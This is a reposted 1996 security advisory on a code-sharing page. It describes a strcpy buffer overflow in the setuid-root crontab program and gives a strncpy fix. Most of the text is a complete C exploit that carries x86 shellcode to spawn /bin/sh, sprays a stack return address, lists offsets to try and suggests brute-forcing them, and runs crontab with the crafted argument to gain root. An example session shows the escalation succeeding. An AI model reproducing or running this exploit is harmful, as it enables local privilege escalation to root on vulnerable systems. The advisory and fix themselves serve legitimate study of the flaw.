c源码：crontab buffer overflow code.txt

学习(编程技巧_编程知识_程序代码),是学习编程不可多得的学习精验

C源码:crontab buffer overflow code
 

--------------------------------------------------------------------------------
 
第八军团 时间：2004-1-23 15:46:23 
   
Due to a problem with the code in crontab, a buffer overflow exists that 
allows a user to overwrite the information in a saved stack frame. When 
the function returns, the saved frame is popped off of the stack and 
user supplied code can be executed. 

Example: 

> id 
uid=621 (mudge) gid=200(users) 
> ./cronny -92 
Using offset (0xefbfdbc8) 
# id 
uid=621 (mudge) euid=0(root) gid=200(users) 

Description: 

When crontab, a suid root program, is run with just a filename as it's 
only argument the argument is copied into the variable 
Filename[MAX_FNAME]. 
Since this copy is done via strcpy, no bounds checking is done on the 
length of the string being handed in. The code snippit from crontab.c 
is as follows: 


  static char      Filename[MAX_FNAME]; 
  ... 

  [ from parse_args(argc, argc) ] 
  if (argv[optind] != NULL) { 
    Option = opt_replace; 
    (void) strcpy (Filename, argv[optind]); 
  }  

By placing a sufficently sized string in argv[1] it is possible to 
overwrite 
the saved frame on the stack and, upon return from the routine execute 
machine codes of the users contruction. 

Solution: 

One fix to the above problem is to replace the strcpy() with strncpy(). 

  if (argv[optind] != NULL) { 
    Option = opt_replace; 
    (void) strncpy(Filename, argv[optind], sizeof(Filename)); 
  } 

However, this only takes care of _one_ of the exploitable buffer overflows 
in crontab. Finding and fixing the others is left as an excercise to the 
readers ;-) [yes, Theo - I know you have already fixed them in OpenBSD!] 

Gratuitous plug: 

OpenBSD has already fixed these problems in crontab around the date of 
the exploit code below, if not a ways before. Talk about an OS with 
pro-active security coders! 

Exploit code: 

/******************************************************************** 
 * crontab buffer overflow code - [e-mail]                   * 
 * 10/12/96                                                         * 
 *                                                                  * 
 * So I was sitting here thinking... I know, it's a dangerous thing * 
 * and you ever notice that hackers seem to have a surplus of time  * 
 * on their hands? Well, I don't but hopefully if I keep coming out * 
 * with things like this it will help to perpetuate the myth.       * 
 *                                                                  * 
 * There is a really cool buffer overflow in crond that bitwrior    * 
 * spotted. So I figured that since the same person, Paul Vixie,    * 
 * wrote crontab too that the same type of errors would probably be * 
 * there. Sure enough!                                              * 
 *                                                                  * 
 * Ya gotta love command line overflows... just yank the code from  * 
 * any existing one and brute on the new program. This is almost    * 
 * verbatim from my modstat overflow.                               * 
 *                                                                  * 
 * try with offsets of -92, -348, 164, 296, 351 with the way this   * 
 * is currently setup. If these fail, brute force it <grin>.        * 
 *******************************************************************/ 

#include <stdio.h> 
#include <stdlib.h> 

long get_esp(void) 
{ 
   __asm__("movl %esp, %eax\n"); 
} 

main(int argc, char **argv) 
{ 
   int i, j, offset; 
   char *bar, *foo; 
   unsigned long *esp_plus = NULL; 

   
   char mach_codes[] = 
   "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9" 
   "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46" 
   "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51" 
   "\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh"; 

    
   if (argc == 2) 
     offset = atoi(argv[1]); 

   bar = malloc(4096); 
   if (!bar){ 
     fprintf(stderr, "failed to malloc memory\n"); 
     exit(1); 
   } 

   foo = bar;  /* copy of original ptr */ 

   esp_plus = (long *)bar; 
   for(i=0; i < 1024 ; i++) 
     *(esp_plus++) = (get_esp() + offset); 

   printf("Using offset (0x%x)\n", (get_esp() + offset));  

   bar = (char *)esp_plus; 

   for(j=0; j< strlen(mach_codes); j++) 
     *(bar++) = mach_codes[j]; 

   *bar = 0;  

   execl("/usr/bin/crontab", "crontab", foo, NULL);   
} 

[e-mail] 
--- 
http://www.l0pht.com/advisories.html 
---